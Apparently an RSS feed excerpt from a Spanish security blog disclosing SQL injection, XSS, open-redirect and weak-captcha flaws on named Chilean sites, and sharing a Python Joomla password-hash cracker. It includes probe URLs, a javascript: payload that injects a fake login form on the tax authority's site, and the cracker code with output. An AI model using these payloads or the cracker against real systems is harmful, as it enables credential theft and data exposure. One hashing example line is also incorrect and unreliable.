		<link>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 13:34:05 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[clcert]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2387</guid>
		<description><![CDATA[Según el propio sitio web: El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos. Si bien CLCERT es una &#8220;organización&#8221; que busca mejorar la seguridad, creo que es impresentable que tengan publicados sitios [...]]]></description>
			<content:encoded><![CDATA[<p>Según el propio sitio web:</p>
<blockquote><p>El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos.</p></blockquote>
<p>Si bien CLCERT es una &#8220;organización&#8221; que busca mejorar la seguridad, creo que es <strong>impresentable</strong> que tengan publicados sitios web con vulnerabilidades tan <strong>basicas</strong>.<br />
Esta organización da cursos y diplomados relacionados a la &#8220;Seguridad Computacional&#8221; o como la mayoría los conoce &#8220;Cursos de Seguridad Informática&#8221; o simplemente &#8220;Cursos de Seguridad&#8221;. Todas las personas que han pasado por estos cursos se pueden ver en la URL <a href="http://capacita.clcert.cl/dir/">http://capacita.clcert.cl/dir/</a> la cual con tiene una vulnerabilidad de SQL Injection, posibilitando al atacante obtener más información sobre las personas asistentes a los cursos o bien obtener información del servidor.</p>
<p>La vulnerabilidad SQL Injection se produce al no parsear los parametros pasados por GET mediante la variable &#8220;apellido&#8221;, &#8220;id&#8221; y &#8220;fecha&#8221; del archivo index.php. Y la XSS se produce a partir de esta misma.</p>
<p>Si navegan por el sitio y comienzan a ver las URL se darán cuenta de forma fácil que parámetro o url es la vulnerable. Por ejemplo, si nos situamos por encima de una letra, podemos ver la url</p>
<p><img class="aligncenter size-full wp-image-2388" title="url" src="http://blog.zerial.org/wp-content/uploads/2011/07/url.png" alt="" width="259" height="31" /></p>
<p>Deducimos que podemos inyectar código sql mediante la variable &#8220;<em>apellido</em>&#8220;.</p>
<p><span id="more-2387"></span></p>
<p><strong>Proof-of-Concept</strong></p>
<h3>1. SQL Injection</h3>
<p>Lo primero que haremos será inducir la aplicación al típico error de sintáxis añadiendo un caracter &#8221; &#8216; &#8221; al valor de la variable mediante la URL <a href="http://capacita.clcert.cl/dir/?apellido=%27">http://capacita.clcert.cl/dir/?apellido=%27</a> y obtenemos el error esperado con la información deseada:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql1.png"><img class="aligncenter size-full wp-image-2390" title="sql1" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql1.png" alt="" width="661" height="61" /></a></p>
<p>Podemos ver la consulta completa incluyendo el nombre de la tabla y los campos, con esto nos facilitamos la inyección de sql.<br />
Teniendo todo esto en consideración, podemos completar la query agregando un UNION con los datos que queramos saber, en esta prueba de concepto obtendremos el usuario actual con el que se está conectando y la version del motor de base de datos, usando las funciones <strong>user()</strong> y <strong>version()</strong> propias del MySQL.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql2_url.png"><img class="aligncenter size-full wp-image-2394" title="sql2_url" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql2_url.png" alt="" width="545" height="37" /></a></p>
<p>Obteniendo en los campos correspondientes la información solicitada</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql2.png"><img class="aligncenter size-full wp-image-2395" title="sql2" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql2.png" alt="" width="587" height="68" /></a></p>
<p>Con este simple sql injection ya tenemos información relevante. Usuario &#8220;diplomado&#8221; y version 4.1.22 del mysql.</p>
<h3>2. Cross-Site Scripting</h3>
<p>Cuando logramos que la aplicación muestre un error de sintaxis, podemos ver que nos muestra literalmente la consulta incluyendo lo que nosotros agregamos, por ejemplo si agregamos &#8220;&#8216; esta es una prueba&#8221; veremos lo siguiente:</p>
<blockquote><p>Query failed: You have an error in your SQL syntax; check the manual  that corresponds to your MySQL server version for the right syntax to  use near &#8216;<strong>esta es una prueba%&#8217;</strong>&#8216; at line 1Executed query: select   apellidos, nombres, fecha , id from users where apellidos like &#8221; esta  es una prueba%&#8217;</p></blockquote>
<p>Por lo tanto, si en lugar de &#8220;esta es una prueba&#8221; ingresamos un codigo javascript, será ejecutado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss1.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss1.png" alt="" title="xss1" width="681" height="404" class="aligncenter size-full wp-image-2400" /></a></p>
<p>Es increible como las organizaciones que &#8220;luchan&#8221; por la seguridad son inseguras. Errores tan basicos, tan simples &#8230; Uno se pregunta si realmente la gente que entra en sus cursos salen capacitadas y hasta que punto son capaces de encargarse de la seguridad informática de una empresa o institución.</p>
<p>La vulnerabilidad fue reportada el 6 de Julio y solucionada el dia 7 de Julio. </p>
<p><strong>Links</strong></p>
<p><a href="http://www.secureless.org/vulnerability/1808">Reporte XSS en Secureless</a><br />
<a href="http://www.secureless.org/vulnerability/1807">Reporte SQL-Injection en Secureless</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/"  data-text="Vulnerabilidad SQL Injection + Cross-Site Scripting en sitio web del CLCERT" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Como NO hacer un captcha: El caso de FeriaMix</title>
		<link>http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/</link>
		<comments>http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/#comments</comments>
		<pubDate>Mon, 30 May 2011 20:03:53 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[feriamix]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2320</guid>
		<description><![CDATA[Hace tiempo publiqué un XSS en FeriaMix, esta vez les mostraré la ineficiencia de un captcha en el mismo sitio. Todos sabemos que el captcha sirve para detectar que realmente es un humano quien está detrás del teclado y no un bot. Captcha es el acrónimo de Completely Automated Public Turing test to tell Computers [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriapwned.png"><img class="aligncenter size-full wp-image-2325" title="feriapwned" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriapwned.png" alt="" width="369" height="69" /></a></p>
<p>Hace tiempo <a href="http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/">publiqué un XSS en FeriaMix</a>, esta vez les mostraré la ineficiencia de un captcha en el mismo sitio. Todos sabemos que el captcha sirve para detectar que realmente es un humano quien está detrás del teclado y no un bot.</p>
<blockquote><p>Captcha es el acrónimo de Completely Automated Public Turing test to  tell Computers and Humans Apart (Prueba de Turing pública y automática  para diferenciar máquinas y humanos).</p></blockquote>
<p>En el sitio &#8220;<a href="http://www.feriamix.cl/cgi-bin/wspd_cgi.sh/WService=wsPFDD/recuperar_contrasena.p">recuperar contraseña</a>&#8221; de FeriaMix pueden ver un captcha que aparentemente es &#8220;normal&#8221;,</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha1.png"><img class="aligncenter size-full wp-image-2321" title="feriamixcaptcha1" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha1.png" alt="" width="291" height="346" /></a></p>
<p><span id="more-2320"></span></p>
<p>pero fijense en un detalle, cuando escriben mal la palabra que aparece en el captcha y le dan al boton &#8220;continuar&#8221;, salta automaticamente una alerta en javascript diciendo que el captcha no es valido.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha2.png"><img class="aligncenter size-full wp-image-2322" title="feriamixcaptcha2" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha2.png" alt="" width="498" height="459" /></a></p>
<p>Con esto podemos deducir que se hace la validación del captcha antes de que se envie la información al servidor, por lo tanto, es posible vulnerarlo. Si revisamos el codigo javascript encontramos &#8220;jcap.js&#8221; el cual contiene una validacion demasiado basica e insegura.</p>
<p>Sorpresa! La imagen del captcha que ustedes ven no es autogenerada, sino una imagen con una palabra estatica!</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha3.png"><img class="aligncenter size-full wp-image-2323" title="feriamixcaptcha3" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha3.png" alt="" width="346" height="154" /></a></p>
<p>La imagen &#8220;71.jpg&#8221; tiene la palabra &#8220;mine&#8221;, la 72 tiene otra palabra y asi hasta la 191.jpg. Si van al directorio de &#8220;<a href="http://www.feriamix.cl/jcap/cimg/">/jcap/cimg/</a>&#8221; podran ver un listado de todas las imagenes del captcha.</p>
<p>De esta forma es tan facil como hacer un bot que se conecte, obtenga el nombre de la imagen y segun el &#8220;numero&#8221; de imagen, escriba una palabra predeterminada.</p>
<p>Se puede llamar CAPTCHA a esto?</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-no-hacer-un-captcha-el-caso-de-feriamix%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/"  data-text="Como NO hacer un captcha: El caso de FeriaMix" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>El Phishing y el Banco BBVA Chile</title>
		<link>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/</link>
		<comments>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/#comments</comments>
		<pubDate>Thu, 26 May 2011 00:58:24 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[bbva]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2300</guid>
		<description><![CDATA[El banco BBVA Chile no se queda atras en sus vulnerabilidades y buscando donde poder reportarlas no he encontrado nada, solo teléfonos donde piden demasiada información personal. No hay ningun formulario ni correo electrónico, por lo que nuevamente se acude a la tecnica de la publicación. Al igual que lo comentado en el post de [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/BBVA-logo.jpg"><img class="aligncenter size-full wp-image-2301" title="BBVA-logo" src="http://blog.zerial.org/wp-content/uploads/2011/05/BBVA-logo.jpg" alt="" width="344" height="167" /></a></p>
<p>El banco BBVA Chile no se queda atras en sus vulnerabilidades y buscando donde poder reportarlas no he encontrado nada, solo teléfonos donde piden demasiada información personal. No hay ningun formulario ni correo electrónico, por lo que nuevamente se acude a la tecnica de la publicación.</p>
<p>Al igual que lo comentado en el post de <a href="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/">El Phishing y el Banco Santander Chile</a>, la idea es dar a conocer como los bancos se lavan las manos con sus campañas anti phishing y anti fraudes, pero no son capaces de ofrecer una plataforma lo suficientemente robusta. Nuevamente este tipo de vulnerabilidades afectan a los usuarios y no al banco directamente, permitiendo el robo de credenciales e información personal, suplantación de identidad, etc.</p>
<p>La vulnerabilidad Cross-Site Scripting detectada se encuentra en la página principal del banco http://www.bbva.cl y corresponde al buscador.  El tipoco error de no <em>parsear</em> los parametros de entrada que se pasan por el forumlario o por URL (GET/POST).</p>
<p>La vulnerabilidad no ha sido reportada al banco ya que no se ha encontrado ningun método de contacto, pero se ha publicado en <a href="http://secureless.org">Secureless</a> junto <a href="http://www.secureless.org/search/?keywords=BBVA&amp;sid=0">al mismo tipo de vulnerabilidad correspondiente al BBVA de Colombia</a>.</p>
<p><span id="more-2300"></span></p>
<p>El script vulnerable corresponde a <strong>http://www.bbva.cl/tlch/jsp/ch/esp/meta/buscador/buscar.jsp</strong> que pasandole los parametros necesarios es posible ejecutar código javascript o html mediante la variable <strong>q</strong>.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/xss_poc.png"><img class="aligncenter size-full wp-image-2303" title="xss_poc" src="http://blog.zerial.org/wp-content/uploads/2011/05/xss_poc.png" alt="" width="518" height="280" /></a></p>
<p>Las <a href="http://www.bbva.cl/tlch/jsp/ch/esp/meta/minf/seg.jsp">politicas de seguridad</a> del banco dicen textualmente:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/politicas.png"><img class="aligncenter size-full wp-image-2305" title="politicas" src="http://blog.zerial.org/wp-content/uploads/2011/05/politicas.png" alt="" width="541" height="360" /></a></p>
<p>Permitiendo este tipo de ataques (xss) el banco no está cumpliendo, ya que un atacante puede suplantar la identidad del sitio y abusar de la confianza que tiene el usuario/cliente en el sitio web del BBVA, pudiendo interceptar el tráfico, generar formularios falsos, redireccionar al usuario a sitios malignos, etc.</p>
<p>Nuevamente, este es un llamado para que <strong>los bancos se hagan cargo de este tipo de cosas!</strong></p>
<p><strong>Editado: (13 de Junio del 2011)</strong> La vulnerabilidad se encuentra corregida. El banco no respondio ningun email y tampoco dio ningun tipo de comunicado o mensaje al respecto.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fel-phishing-y-el-banco-bbva-chile%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/"  data-text="El Phishing y el Banco BBVA Chile" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Joomla! Password Cracker</title>
		<link>http://blog.zerial.org/seguridad/joomla-password-cracker/</link>
		<comments>http://blog.zerial.org/seguridad/joomla-password-cracker/#comments</comments>
		<pubDate>Thu, 19 May 2011 15:03:25 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[john]]></category>
		<category><![CDATA[john the ripper]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[joomla cracker]]></category>
		<category><![CDATA[joomla password cracker]]></category>
		<category><![CDATA[password cracker]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[utilidades]]></category>
		<category><![CDATA[utils]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2282</guid>
		<description><![CDATA[Saber como &#8220;hashea&#8221; las password el cms Joomla! no es algo muy complicado, no tiene ninguna ciencia y es muy facil de entender para intentar crackear algun password obtenido de alguna base de datos. El hash en la base de datos tiene la forma de &#8220;HASH:SALT&#8221; y la forma en que genera el HASH es [...]]]></description>
			<content:encoded><![CDATA[<p>Saber como &#8220;<em>hashea</em>&#8221; las password el cms Joomla! no es algo muy complicado, no tiene ninguna ciencia y es muy facil de entender para intentar crackear algun password obtenido de alguna base de datos.<br />
El hash en la base de datos tiene la forma de &#8220;HASH:SALT&#8221; y la forma en que genera el HASH es agregando el SALT al final de la password original, de esta forma: <strong>md5(password.SALT):SALT</strong><br />
Por ejemplo, si tenemos la password &#8220;foo&#8221; y el SALT &#8220;bar&#8221;, la forma de crear el hash sería:<strong>md5(foobar):bar</strong><br />
Lo que quedaría como <strong>3858f62230ac3c915f300c664312c63f:bar</strong></p>
<p>Por ejemplo, para probar con un hash mas real probaremos con  <strong>bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel</strong> que corresponde a la password &#8220;test&#8221; concatenada con el SALT 5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel:</p>
<p><strong>md5(testbd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel) = bd874661cb31eb7b612862725d0008f2</strong></p>
<p>Entonces, la forma de crackear usando por ejemplo un diccionario seria tan facil como &#8220;parsear&#8221; el SALT, concatenarlo a la palabra del diccionario, calcular su md5 y compararla con el valor que está antes de los &#8220;:&#8221; del hash. Para esto, hice el siguiente script en Python:</p>
<pre name="code" class="c">#!/usr/bin/python2

from hashlib import md5
import sys
import string

original = sys.argv[1].split(':')
_md5 = original[0]
_salt = original[1]
print 'Trying to crack ' + _md5 + ' SALTED with ' + _salt + '... '
for line in sys.stdin:
	line = line.strip()
	attempt = md5(line + _salt).hexdigest()
	if(attempt == _md5):
		print _md5 + ':' + _salt + ' --- Password Found: ' + line
		print 'Hapy hacking!'
		sys.exit(0)
print 'Password not found : - ('
sys.exit(1)</pre>
<p>Intenemos crackear el hash correspondiente a la password &#8220;test&#8221;:</p>
<p><code>$ ./john -i --stdout|python2 joomla-cracker.py bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel</p>
<p>Trying to crack bd874661cb31eb7b612862725d0008f2 SALTED with 5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel...<br />
bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel<br />
--- Password Found: test<br />
Hapy hacking!<br />
$ </code></p>
<p>En este caso use &#8220;john the ripper&#8221; para generar un diccionario en el stdout pasandolo por stdin al script. Tambien se pueden usar diccionarios de la siguiente forma:</p>
<p><code>$ cat diccionario.txt|python2 joomla-cracker.py bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel</code></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fjoomla-password-cracker%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/joomla-password-cracker/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/joomla-password-cracker/"  data-text="Joomla! Password Cracker" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/joomla-password-cracker/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Arbitrary URL Redirection y XSS en sitio web del S.I.I</title>
		<link>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/</link>
		<comments>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/#comments</comments>
		<pubDate>Tue, 10 May 2011 14:46:20 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[servicio impuestos internos]]></category>
		<category><![CDATA[sii]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[url redirection]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2261</guid>
		<description><![CDATA[Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario. Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/sii_online_peq.jpg"><img class="aligncenter size-full wp-image-2262" title="sii_online_peq" src="http://blog.zerial.org/wp-content/uploads/2011/05/sii_online_peq.jpg" alt="" width="200" height="77" /></a></p>
<p>Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario.</p>
<p>Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en el cliente.</p>
<p>La URL vulnerable es <a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html</a> que al agregarle al final &#8220;<strong>?http://alguna_url</strong>&#8220;, el usuario luego de iniciar sesión será redirigido hacia esa URL. Por ejemplo:</p>
<p><a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com</a></p>
<p>Luego de ingresar, seremos redirigidos a Google.</p>
<p>Tambien puede ser un javascript, por ejemplo mostrando las cookies de sesión:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/sii_xss.png"><img class="aligncenter size-full wp-image-2263" title="sii_xss" src="http://blog.zerial.org/wp-content/uploads/2011/05/sii_xss.png" alt="" width="715" height="191" /></a></p>
<p>O por ejemplo, usar javascript para dibujar un formulario que haga POST a un sitio remoto, capturando la información:</p>
<p><a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;</a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/form_sii.png"><img class="aligncenter size-full wp-image-2265" title="form_sii" src="http://blog.zerial.org/wp-content/uploads/2011/05/form_sii.png" alt="" width="433" height="152" /></a></p>
<p>Abusando de la confianza que tiene el usuario sobre el sitio, con certificado SSL válido. De esta forma es posible obtener información confidencial de los usuarios, de forma transparente.</p>
<p>Nuevamente los sistemas informáticos dejan mucho que desear. Esta vulnerabilidad fue reportada la semana pasada mediante el formulario de contacto (el único medio disponible) pero no se obtuvo respuesta.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Farbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/"  data-text="Arbitrary URL Redirection y XSS en sitio web del S.I.I" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

